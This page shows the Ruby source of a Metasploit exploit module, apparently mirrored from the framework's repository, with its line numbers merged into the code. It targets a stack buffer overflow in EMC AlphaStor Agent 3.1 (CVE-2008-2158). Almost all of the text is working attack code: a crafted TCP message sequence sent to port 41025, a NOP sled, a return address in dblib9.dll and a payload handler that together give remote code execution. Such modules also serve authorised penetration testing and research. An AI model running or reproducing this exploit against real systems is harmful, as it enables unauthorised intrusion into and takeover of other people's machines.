Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/emc/alphastor_agent.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'EMC AlphaStor Agent Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in EMC AlphaStor 3.1.15By sending a specially crafted message, an attacker may16be able to execute arbitrary code.17},18'Author' => 'MC',19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2008-2158' ],23[ 'OSVDB', '45714' ],24[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ],25],26'DefaultOptions' =>27{28'EXITFUNC' => 'process', # one-shot overwrite.29},30'Payload' =>31{32'Space' => 750,33'BadChars' => "\x00\x0a\x0d\x20",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' =>38[39[ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.197540],41'Privileged' => true,42'DisclosureDate' => '2008-05-27',43'DefaultTarget' => 0))4445register_options([Opt::RPORT(41025)])46end4748def exploit49connect5051# overwrite via: ascli.exe asopmsg "long_buff"52uno = [0x0000000b].pack('V')53sock.put(uno)5455dos = rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00"56sock.put(dos)5758tres = [0x00000004].pack('V')59sock.put(tres)6061quatro = [0x0000001b].pack('V')62sock.put(quatro)6364cinco = [0x0000047c].pack('V')65sock.put(cinco)6667data = make_nops(827 - payload.encoded.length) + payload.encoded68data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')69data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00"7071print_status("Trying target #{target.name}...")72sock.put(data)7374handler75disconnect76end77end787980